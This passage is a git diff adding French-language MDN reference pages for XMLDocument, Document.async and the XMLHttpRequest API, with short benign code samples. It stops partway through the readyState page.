+++ b/files/fr/web/api/xmldocument/async/index.html
@@ -0,0 +1,42 @@
+---
+title: Document.async
+slug: Web/API/XMLDocument/async
+tags:
+  - API
+  - Asynchrone
+  - DOM
+  - Document
+  - Propriété
+  - XML
+translation_of: Web/API/XMLDocument/async
+---
+<p>{{APIRef("DOM")}}{{Deprecated_header}} {{Non-standard_header}}</p>
+
+<p><code>document.async</code> peut être défini pour indiquer si un appel {{domxref("document.load")}} doit être une requête asynchrone ou synchrone. <code>true</code> (<em>vrai</em>) est la valeur par défaut, indiquant que les documents doivent être chargés de façon asynchrone.</p>
+
+<p>(Il a été possible de charger des documents de manière synchrone depuis 1.4 alpha.)</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:js">function loadXMLData(e) {
+  alert(new XMLSerializer().serializeToString(e.target)); // Donne le contenu querydata.xml sous forme "string" (<em>chaîne de caractère</em>)
+}
+
+var xmlDoc = document.implementation.createDocument("", "test", null);
+
+xmlDoc.async = false;
+xmlDoc.onload = loadXMLData;
+xmlDoc.load('querydata.xml');</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-LS/load-save.html#LS-DocumentLS">DOM Level 3 Load &amp; Save module</a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/XML_dans_Mozilla" title="XML_in_Mozilla">XML in Mozilla</a></li>
+ <li>{{domxref("document.load")}}</li>
+</ul>
diff --git a/files/fr/web/api/xmldocument/index.html b/files/fr/web/api/xmldocument/index.html
new file mode 100644
index 0000000000..172a071dd6
--- /dev/null
+++ b/files/fr/web/api/xmldocument/index.html
@@ -0,0 +1,64 @@
+---
+title: XMLDocument
+slug: Web/API/XMLDocument
+tags:
+  - API
+  - DOM
+  - Experimental
+translation_of: Web/API/XMLDocument
+---
+<p>{{ ApiRef("DOM") }} {{SeeCompatTable}}</p>
+
+<p>L'interface XMLDocument représente un document XML. Elle hérite du {{domxref("Document")}} générique et ne lui ajoute aucune méthode ou propriété spécifique : néanmoins, plusieurs algorithmes se comportent différemment avec les deux types de documents.</p>
+
+<h2 id="Propriété">Propriété</h2>
+
+<p><em>Cette interface n'a pas de propriété spécifique et n'en hérite aucune.</em></p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface n'ajoute aucune nouvelle méthode.</em></p>
+
+<dl>
+ <dt>{{domxref("XMLDocument.load()")}}</dt>
+ <dd>Charge un document XML.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", 'dom.html#xmldocument', "Extension to XMLDocument")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement par rapport à {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "dom.html#loading-xml-documents", "Extension to XMLDocument")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Ajoute la méthode <code>load()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#xmldocument', 'XMLDocument')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité de cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et de nous envoyer une "pull request".</div>
+
+<p>{{Compat("api.XMLDocument")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Document_Object_Model">Référence du DOM</a></li>
+</ul>
diff --git a/files/fr/web/api/xmldocument/load/index.html b/files/fr/web/api/xmldocument/load/index.html
new file mode 100644
index 0000000000..ac0ba54a1e
--- /dev/null
+++ b/files/fr/web/api/xmldocument/load/index.html
@@ -0,0 +1,51 @@
+---
+title: XMLDocument.load()
+slug: Web/API/XMLDocument/load
+tags:
+  - API
+  - DOM
+  - Deprecated
+  - Experimental
+  - Expérimental(2)
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/API/XMLDocument/load
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code>document.load()</code> fait partie d'une ancienne version du module W3C <a href="http://www.w3.org/TR/2003/WD-DOM-Level-3-LS-20030619/load-save.html#LS-DocumentLS">DOM Level 3 Load &amp; Save</a>. Elle peut être utilisée avec document.async pour indiquer si la requête est synchrone ou asynchrone (par défaut). À partir d'au moins Gecko 1.9, elle ne prend plus en charge le chargement inter-site de documents (utilisez <a href="/fr/docs/Web/API/XMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a> à la place).</p>
+
+<h2 id="Examples" name="Examples">Exemples</h2>
+
+<div style="overflow: hidden;">
+<pre>var docXml = document.implementation.createDocument("", "test", null);
+
+function documentCharge (e) {
+  alert(new XMLSerializer().serializeToString(e.target)); // Donne le contenu de querydata.xml comme une chaîne
+}
+
+xmlDoc.addEventListener("load", documentCharge, false);
+xmlDoc.load('querydata.xml');</pre>
+</div>
+
+<p>{{Source("content/xml/tests/load/", "Voir aussi l'extrait de chargement")}} dans le dossier de tests XML. (Pour tester cette fonctionnalité, créez les fichiers sur votre disque local ou sur un serveur web, plutôt que de charger le fichier load.html depuis la page générée par LXR, qui servira le fichier text.xml comme HTML.)</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/2003/WD-DOM-Level-3-LS-20030619/load-save.html#LS-DocumentLS">Old W3C Working Draft of the DOM Level 3 Load &amp; Save module</a></li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.XMLDocument.load")}}</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Document/async" title="DOM/document.async">document.async</a></li>
+ <li><a href="/fr/docs/XML_dans_Mozilla" title="XML_in_Mozilla">XML dans Mozilla</a></li>
+</ul>
diff --git a/files/fr/web/api/xmlhttprequest/index.html b/files/fr/web/api/xmlhttprequest/index.html
new file mode 100644
index 0000000000..bfacafac2b
--- /dev/null
+++ b/files/fr/web/api/xmlhttprequest/index.html
@@ -0,0 +1,192 @@
+---
+title: XMLHttpRequest
+slug: Web/API/XMLHttpRequest
+tags:
+  - AJAX
+  - API
+  - HTTP
+  - Interface
+  - Reference
+  - Web
+  - XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest
+---
+<div>{{DefaultAPISidebar("XMLHttpRequest")}}</div>
+
+<p><span class="seoSummary">Les objets <code>XMLHttpRequest</code> (XHR) permettent d'interagir avec des serveurs. On peut récupérer des données à partir d'une URL sans avoir à rafraîchir complètement la page. Cela permet à une page web d'être mise à jour sans perturber les actions de l'utilisateur.</span> <code>XMLHttpRequest</code> est beaucoup utilisé par l'approche {{Glossary("AJAX")}}.</p>
+
+<p>{{InheritanceDiagram(650, 150)}}</p>
+
+<p>Malgré son nom, <code>XMLHttpRequest</code> peut être utilisé afin de récupérer tout type de données et pas uniquement du XML.</p>
+
+<p>Si vos opérations de communication nécessitent l'échange d'évènements ou de messages avec un serveur, pensez à utiliser <a href="/fr/docs/Web/API/Server-sent_events">les évènements serveur</a> via l'interface {{domxref("EventSource")}}. Pour une communication bidirectionnelle complète, les <a href="/fr/docs/Web/API/WebSockets_API">WebSockets</a> peuvent être une meilleure alternative.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.XMLHttpRequest", "XMLHttpRequest()")}}</dt>
+ <dd>Le constructeur initialise un objet <code>XMLHttpRequest</code>. Il doit être appelé avant toute autre méthode.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite également des propriétés de {{domxref("XMLHttpRequestEventTarget")}} et de {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt id="xmlhttprequest-onreadystatechange">{{domxref("XMLHttpRequest.onreadystatechange")}}</dt>
+ <dd>Un gestionnaire d'évènement ({{domxref("EventHandler")}}) invoqué à chaque fois que l'attribut <code>readyState</code> change.</dd>
+ <dt id="xmlhttprequest-readystate">{{domxref("XMLHttpRequest.readyState")}} {{readonlyinline}}</dt>
+ <dd>L'état de la requête sous la forme d'un <code>unsigned short</code>.</dd>
+ <dt>{{domxref("XMLHttpRequest.response")}} {{readonlyinline}}</dt>
+ <dd>Un objet {{jsxref("ArrayBuffer")}}, {{domxref("Blob")}}, {{domxref("Document")}}, un objet JavaScript ou une chaîne de caractères ({{domxref("DOMString")}}) selon la valeur de {{domxref("XMLHttpRequest.responseType")}}. Cet objet contient le corps de la réponse.</dd>
+ <dt id="xmlhttprequest-responsetext">{{domxref("XMLHttpRequest.responseText")}} {{readonlyinline}}</dt>
+ <dd>Une chaîne de caractères {{domxref("DOMString")}} qui contient la réponse à la requête sous forme de texte ou la valeur <code>null</code> si la requête a échoué ou n'a pas encore été envoyée.</dd>
+ <dt id="xmlhttprequest-responsetype">{{domxref("XMLHttpRequest.responseType")}}</dt>
+ <dd>Une valeur parmi une liste qui définit le type de réponse.</dd>
+ <dt id="xmlhttprequest-responsexml">{{domxref("XMLHttpRequest.responseURL")}} {{readonlyinline}}</dt>
+ <dd>L'URL sérialisée de la réponse ou la chaîne vide si l'URL est nulle.</dd>
+ <dt id="xmlhttprequest-responsexml">{{domxref("XMLHttpRequest.responseXML")}} {{readonlyinline}}</dt>
+ <dd>Un objet {{domxref("Document")}} qui contient la réponse de la requête ou <code>null</code> si la requête a échoué, qu'elle n'a pas encore été envoyée ou qu'elle ne peut pas être analysée comme XML ou HTML. Cette propriété n'est pas disponible dans les <em>workers</em>.</dd>
+ <dt id="xmlhttprequest-status">{{domxref("XMLHttpRequest.status")}} {{readonlyinline}}</dt>
+ <dd>Une valeur numérique <code>unsigned short</code> qui décrit le statut de la réponse à la requête.</dd>
+ <dt id="xmlhttprequest-statustext">{{domxref("XMLHttpRequest.statusText")}} {{readonlyinline}}</dt>
+ <dd>Une chaîne {{domxref("DOMString")}} qui contient la chaîne de caractères / réponse renvoyée par le serveur HTTP. À la différence de {{domxref("XMLHttpRequest.status")}}, tout le texte du statut est inclus ("<code>200 OK</code>" plutôt que "<code>200</code>" par exemple).</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Selon la spécification HTTP/2 (<a href="https://http2.github.io/http2-spec/#rfc.section.8.1.2.4">voir 8.1.2.4</a> <a href="https://http2.github.io/http2-spec/#HttpResponse">Response Pseudo-Header Fields</a>), HTTP/2 ne définit pas de méthode pour porter la version ou la raison/phrase incluse dans la ligne de statut HTTP/1.1.</p>
+</div>
+
+<dl>
+ <dt id="xmlhttprequest-timeout">{{domxref("XMLHttpRequest.timeout")}}</dt>
+ <dd>Un entier <code>unsigned long</code> qui représente le nombre de millisecondes qu'une requête peut prendre avant d'être terminée automatiquement.</dd>
+ <dt id="xmlhttprequesteventtarget-ontimeout">{{domxref("XMLHttpRequestEventTarget.ontimeout")}}</dt>
+ <dd>Un gestionnaire d'évènement ({{domxref("EventHandler")}}) appelé lorsque la requête a expiré. {{gecko_minversion_inline("12.0")}}</dd>
+ <dt id="xmlhttprequest-upload">{{domxref("XMLHttpRequest.upload")}} {{readonlyinline}}</dt>
+ <dd>Un objet {{domxref("XMLHttpRequestUpload")}} qui représente le processus d'<em>upload</em>.</dd>
+ <dt id="xmlhttprequest-withcredentials">{{domxref("XMLHttpRequest.withCredentials")}}</dt>
+ <dd>Un booléen ({{domxref("Boolean")}}) qui indique si des requêtes <code>Access-Control</code> d'origines différentes peuvent être effectuées avec des informations d'authentification telles que des cookies ou des en-têtes d'autorisation.</dd>
+</dl>
+
+<h3 id="Propriétés_non-standard">Propriétés non-standard</h3>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.channel")}}{{ReadOnlyInline}}</dt>
+ <dd>Un objet {{Interface("nsIChannel")}}. Le canal à utiliser par l'objet lorsqu'il effectue la requête.</dd>
+ <dt>{{domxref("XMLHttpRequest.mozAnon")}}{{ReadOnlyInline}}</dt>
+ <dd>Un booléen. S'il est vrai, la requête sera envoyée sans cookie ou en-tête d'autorisation.</dd>
+ <dt>{{domxref("XMLHttpRequest.mozSystem")}}{{ReadOnlyInline}}</dt>
+ <dd>Un booléen. S'il est vrai, la politique d'origine unique ne sera pas vérifiée pour la requête.</dd>
+ <dt>{{domxref("XMLHttpRequest.mozBackgroundRequest")}}</dt>
+ <dd>Un booléen qui indique si l'objet représente une requête de service en arrière-plan.</dd>
+ <dt>{{domxref("XMLHttpRequest.mozResponseArrayBuffer")}}{{gecko_minversion_inline("2.0")}} {{obsolete_inline("6")}} {{ReadOnlyInline}}</dt>
+ <dd>Un objet {{jsxref("ArrayBuffer")}} qui est la réponse à la requête sous la forme d'un tableau typé JavaScript.</dd>
+ <dt>{{domxref("XMLHttpRequest.multipart")}}{{obsolete_inline("22")}}</dt>
+ <dd><strong>Cette fonctionnalité spécifique à Gecko a été retirée avec Firefox/Gecko 22.</strong> Veuillez utiliser <a href="/fr/docs/Web/API/Server-sent_events">les évènements serveurs</a> ou <a href="/fr/docs/Web/API/WebSockets_API">les web sockets</a> ou encore la propriété <code>responseText</code> des évènements de progression.</dd>
+</dl>
+
+<h3 id="Gestionnaires_dévènement">Gestionnaires d'évènement</h3>
+
+<p>Le gestionnaire <code>onreadystatechange</code>, comme propriété des instances <code>XMLHttpRequest</code>, est pris en charge par l'ensemble des navigateurs.</p>
+
+<p>D'autres gestionnaires d'évènements ont également été implémentés dans différents navigateurs (<code>onload</code>, <code>onerror</code>, <code>onprogress</code>, etc.). Voir le guide <a href="/fr/docs/Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest">Manipuler XMLHttpRequest</a>.</p>
+
+<p>La plupart des navigateurs récents gère également les évènements via la méthode {{domxref("EventTarget.addEventListener", "addEventListener()")}} (en plus des méthodes  <code>on*</code>).</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.abort()")}}</dt>
+ <dd>Interrompt la requête si elle a déjà été envoyée.</dd>
+ <dt>{{domxref("XMLHttpRequest.getAllResponseHeaders()")}}</dt>
+ <dd>Renvoie, via une chaîne de caractères, l'ensemble des en-têtes de la réponse, séparés par {{Glossary("CRLF")}} ou la valeur <code>null</code> si aucune réponse n'a été reçue.</dd>
+ <dt>{{domxref("XMLHttpRequest.getResponseHeader()")}}</dt>
+ <dd>Renvoie la chaîne de caractères contenant le texte de l'en-tête voulue ou <code>null</code> si aucune des réponse n'a été reçue ou si l'en-tête n'existe pas dans la réponse.</dd>
+ <dt>{{domxref("XMLHttpRequest.open()")}}</dt>
+ <dd>Initialise une requête. Cette méthode doit être utilisée par du code JavaScript.</dd>
+ <dt>{{domxref("XMLHttpRequest.overrideMimeType()")}}</dt>
+ <dd>Surcharge le type MIME renvoyé par le serveur.</dd>
+ <dt>{{domxref("XMLHttpRequest.send()")}}</dt>
+ <dd>Envoie la requête. Si la requête est asynchrone (le comportement par défaut), la méthode renvoie un résultat dès que la requête est envoyée.</dd>
+ <dt>{{domxref("XMLHttpRequest.setRequestHeader()")}}</dt>
+ <dd>Définit la valeur d'un en-tête de requête HTTP. Cette méthode doit être appelée après <code>open()</code> mais avant<code>send()</code>.</dd>
+</dl>
+
+<h3 id="Méthodes_non-standard">Méthodes non-standard</h3>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.init()")}}</dt>
+ <dd>Initialise l'objet depuis pour une utilisation depuis du code C++.</dd>
+</dl>
+
+<div class="warning"><strong>Attention !</strong> Cette méthode ne doit pas être appelée depuis du code JavaScript.</div>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.openRequest()")}}</dt>
+ <dd>Initialise une requête depuis du code natif. Voir la méthode <a class="internal" href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest#open()"><code>open()</code></a> ci-avant pour initialiser une requête de façon standard en JavaSCript.</dd>
+ <dt>{{domxref("XMLHttpRequest.sendAsBinary()")}}{{deprecated_inline()}}</dt>
+ <dd>Une variante de <code>send()</code> afin d'envoyer des données binaires.</dd>
+</dl>
+
+<h2 id="Évènements">Évènements</h2>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest/abort_event", "abort")}}</dt>
+ <dd>Se déclenche lorsqu'une requête a été interrompue (par exemple via {{domxref("XMLHttpRequest.abort()")}}). Le gestionnaire<br>
+ {{domxref("XMLHttpRequestEventTarget/onabort", "onabort")}} est également disponible.</dd>
+ <dt>{{domxref("XMLHttpRequest/error_event", "error")}}</dt>
+ <dd>Se déclenche lorsqu'une requête a rencontré une erreur.<br>
+ Le gestionnaire {{domxref("XMLHttpRequestEventTarget/onerror", "onerror")}} est également disponible.</dd>
+ <dt>{{domxref("XMLHttpRequest/load_event", "load")}}</dt>
+ <dd>Se déclenche lorsqu'une transaction {{domxref("XMLHttpRequest")}} se termine correctement. Le gestionnaire {{domxref("XMLHttpRequestEventTarget/onload", "onload")}} est également disponible.</dd>
+ <dt>{{domxref("XMLHttpRequest/loadend_event", "loadend")}}</dt>
+ <dd>Se déclenche lorsqu'une requête est terminée (avec une erreur ou non). Quand elle a réussi, l'évènement a lieu après {{domxref("XMLHttpRequest/load_event", "load")}}). Quand elle a échoué, l'évènement survient après {{domxref("XMLHttpRequest/error_event", "error")}}).<br>
+ Le gestionnaire {{domxref("XMLHttpRequestEventTarget/onloadend", "onloadend")}} est également disponible.</dd>
+ <dt>{{domxref("XMLHttpRequest/loadstart_event", "loadstart")}}</dt>
+ <dd>Se déclenche lorsqu'une requête commence à charger des données.<br>
+ Le gestionnaire {{domxref("XMLHttpRequestEventTarget/onloadstart", "onloadstart")}} est également disponible.</dd>
+ <dt>{{domxref("XMLHttpRequest/progress_event", "progress")}}</dt>
+ <dd>Se déclenche périodiquement lorsqu'une requête reçoit des données supplémentaires. Le gestionnaire {{domxref("XMLHttpRequestEventTarget/onprogress", "onprogress")}} est également disponible.</dd>
+ <dt>{{domxref("XMLHttpRequest/timeout_event", "timeout")}}</dt>
+ <dd>Se déclenche lorsque la progression est terminée du fait de l'expiration de la durée limite. Le gestionnaire {{domxref("XMLHttpRequestEventTarget/ontimeout", "ontimeout")}} est également disponible.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Standard évolutif, version la plus récente.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<div>{{Compat("api.XMLHttpRequest")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("XMLSerializer")}} : sérialiser un arbre DOM en XML</li>
+ <li>Les tutoriels MDN sur <code>XMLHttpRequest</code>:
+  <ul>
+   <li><a href="/fr/docs/Web/Guide/AJAX/Premiers_pas">Introduction à AJAX</a></li>
+   <li><a href="/fr/docs/Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest">Utiliser XMLHttpRequest</a></li>
+   <li><a href="/fr/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">Manipuler le HTML avec XMLHttpRequest</a></li>
+   <li><a href="/fr/docs/Web/API/Fetch_API" title="Fetch API">L'API Fetch</a></li>
+  </ul>
+ </li>
+ <li><a class="external" href="https://www.html5rocks.com/en/tutorials/file/xhr2/">HTML5 Rocks — Nouvelles astuces avec XMLHttpRequest2 (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/api/xmlhttprequest/onreadystatechange/index.html b/files/fr/web/api/xmlhttprequest/onreadystatechange/index.html
new file mode 100644
index 0000000000..27916885ff
--- /dev/null
+++ b/files/fr/web/api/xmlhttprequest/onreadystatechange/index.html
@@ -0,0 +1,59 @@
+---
+title: XMLHttpRequest.onreadystatechange
+slug: Web/API/XMLHttpRequest/onreadystatechange
+translation_of: Web/API/XMLHttpRequest/onreadystatechange
+---
+<div>{{APIRef}}</div>
+
+<p>Un <a href="/en-US/docs/Web/API/EventHandler" title="A possible way to get notified of Events of a particular type (such as click) for a given object is to specify an event handler using:"><code>EventHandler</code></a> qui réagit aux changements de <code>readyState</code>. Le callback est appelé dans le contexte du thread de rendu. La propriété <strong><code>XMLHttpRequest.onreadystatechange</code></strong>  contient le gestionnaire d'évènement appelé lorsque l'évènement {{event("readystatechange")}} est déclenché, soit chaque fois que la propriété {{domxref("XMLHttpRequest.readyState", "readyState")}} de {{domxref("XMLHttpRequest")}} est modifiée.</p>
+
+<div class="warning">
+<p><strong>Attention:</strong> Ne doit pas être utilisé avec des requêtes synchrone ni avec du code natif.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>XMLHttpRequest</em>.onreadystatechange = <em>callback</em>;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<ul>
+ <li><code><em>callback</em></code> est la fonction exécutée lorsque <code>readyState</code> change.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest(),
+    method = "GET",
+    url = "https://developer.mozilla.org/";
+
+xhr.open(<em>method</em>, <em>url</em>, true);
+xhr.onreadystatechange = function () {
+  if(xhr.readyState === 4 &amp;&amp; xhr.status === 200) {
+    console.log(xhr.responseText);
+  }
+};
+xhr.send();</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#handler-xhr-onreadystatechange')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_fureteurs">Compatibilité des fureteurs</h2>
+
+
+
+<p>{{Compat("api.XMLHttpRequest.onreadystatechange")}}</p>
diff --git a/files/fr/web/api/xmlhttprequest/open/index.html b/files/fr/web/api/xmlhttprequest/open/index.html
new file mode 100644
index 0000000000..14a1ec2501
--- /dev/null
+++ b/files/fr/web/api/xmlhttprequest/open/index.html
@@ -0,0 +1,67 @@
+---
+title: XMLHttpRequest.open()
+slug: Web/API/XMLHttpRequest/open
+translation_of: Web/API/XMLHttpRequest/open
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p>La méthode <code><strong>open()</strong></code> de {{domxref("XMLHttpRequest")}} instancie une nouvelle requête ou réinitialise un déjà existante.</p>
+
+<div class="note"><strong>Note:</strong> Appeler cette méthode pour une requête déjà active (pour laquelle une méthode <code>open()</code> a déjà été appelée) est équivalent à appeler  {{domxref("XMLHttpRequest.abort", "abort()")}}.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>XMLHttpRequest</em>.open(<var>method</var>,<var> url</var>)
+<em>XMLHttpRequest</em>.open(<var>method</var>,<var> url</var>,<var> async)</var>
+<em>XMLHttpRequest</em>.open(<var>method</var>,<var> url</var>,<var> async</var>,<var> user</var>)
+<em>XMLHttpRequest</em>.open(<var>method</var>,<var> url</var>,<var> async</var>,<var> user</var>,<var> password</var>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>method</code></dt>
+ <dd>La méthode  <a href="/en-US/docs/Web/HTTP/Methods">HTTP request </a> à utiliser telles que : <code>"GET"</code>, <code>"POST"</code>, <code>"PUT"</code>, <code>"DELETE"</code>, etc. Ignorée pour les URL non-HTTP(S).</dd>
+ <dt><code>url</code></dt>
+ <dd>Une {{domxref("DOMString")}} représentant l'URL à laquelle envoyer la requête.</dd>
+ <dt><code>async</code> {{optional_inline}}</dt>
+ <dd>Un booléen optionnel par défaut à <code>true</code>, indiquant s'il faut, ou pas, traiter la requête en asynchrone.  Si la valeur est à <code>false</code>, la méthode <code>send()</code> ne retourne rien tant qu'elle n'a pas reçu la réponse. Si la valeur est à  <code>true</code>, une notification de transaction complétée est fournie en utilisant un gestionnaire d'évènements. Le paramètre doit être sur "true" si l'attribut <code>multipart</code> est sur "true" aussi ou une exception sera levée.
+ <div class="note"><strong>Note:</strong> Les requêtes asynchrones sur le "thread" principal peuvent facilement dérouter l'utilisateur et devraient être évitées; En fait, de nombreux navigateurs ont un support XHR obsolète sur la totalité du "thread" principal. Les requêtes synchrones sont acceptées dans  {{domxref("Worker")}}s.</div>
+ </dd>
+ <dt><code>user</code> {{optional_inline}}</dt>
+ <dd>Le nom de l'utilisateur, optionnel, à utiliser dans un but d'authentification. Sa valeur par défaut est <code>null</code>.</dd>
+ <dt><code>password</code> {{optional_inline}}</dt>
+ <dd>Le mot de passe, optionnel, à utiliser dans un but d'authentification. Sa valeur par défaut est <code>null</code>.</dd>
+</dl>
+
+<h2 id="Spécificités">Spécificités</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-open()-method', 'open()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.XMLHttpRequest.open")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest">Utiliser XMLHttpRequest</a></li>
+ <li>Méthodes {{domxref("XMLHttpRequest")}} en relation : {{domxref("XMLHttpRequest.setRequestHeader", "setRequestHeader()")}},{{domxref("XMLHttpRequest.send", "send()")}}, and {{domxref("XMLHttpRequest.abort", "abort()")}}</li>
+</ul>
diff --git a/files/fr/web/api/xmlhttprequest/readystate/index.html b/files/fr/web/api/xmlhttprequest/readystate/index.html
new file mode 100644
index 0000000000..65fc74878c
--- /dev/null
+++ b/files/fr/web/api/xmlhttprequest/readystate/index.html
@@ -0,0 +1,102 @@
+---
+title: XMLHttpRequest.readyState
+slug: Web/API/XMLHttpRequest/readyState
+translation_of: Web/API/XMLHttpRequest/readyState
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p>La propriété XMLHttpRequest.readyState renvoie l'état dans lequel se trouve un client XMLHttpRequest.Un client <abbr title="XMLHttpRequest">XHR</abbr> existe dans l'un des états suivants :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Value</td>
+   <td class="header">State</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>UNSENT</code></td>
+   <td>Le client a été créé. open() n'a pas encore été appelé.</td>
+  </tr>
+  <tr>
+   <td><code>1</code></td>
+   <td><code>OPENED</code></td>
+   <td><code>open()</code>a été appelé.</td>
+  </tr>
+  <tr>
+   <td><code>2</code></td>
+   <td><code>HEADERS_RECEIVED</code></td>
+   <td><code>send()</code> a été appelé, et les en-têtes et le statut sont disponibles.</td>
+  </tr>
+  <tr>
+   <td><code>3</code></td>
+   <td><code>LOADING</code></td>
+   <td>Téléchargement; <code>responseText</code> contient des données partielles.</td>
+  </tr>
+  <tr>
+   <td><code>4</code></td>
+   <td><code>DONE</code></td>
+   <td>L'opération est terminée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>UNSENT</dt>
+ <dd>Le client XMLHttpRequest a été créé, mais la méthode open() n'a pas encore été appelée.</dd>
+ <dt>OPENED</dt>
+ <dd>La méthode open() a été invoquée. Pendant cet état, les en-têtes de requête peuvent être définis à l'aide de la méthode <a href="/en-US/docs/Web/API/XMLHttpRequest/setRequestHeader">setRequestHeader()</a>  et la méthode <a href="/en-US/docs/Web/API/XMLHttpRequest/send">send()</a>  peut être appelée, ce qui lancera la récupération.</dd>
+ <dt>HEADERS_RECEIVED</dt>
+ <dd>send() a été appelé et les en-têtes de réponse ont été reçus</dd>
+ <dt>LOADING</dt>
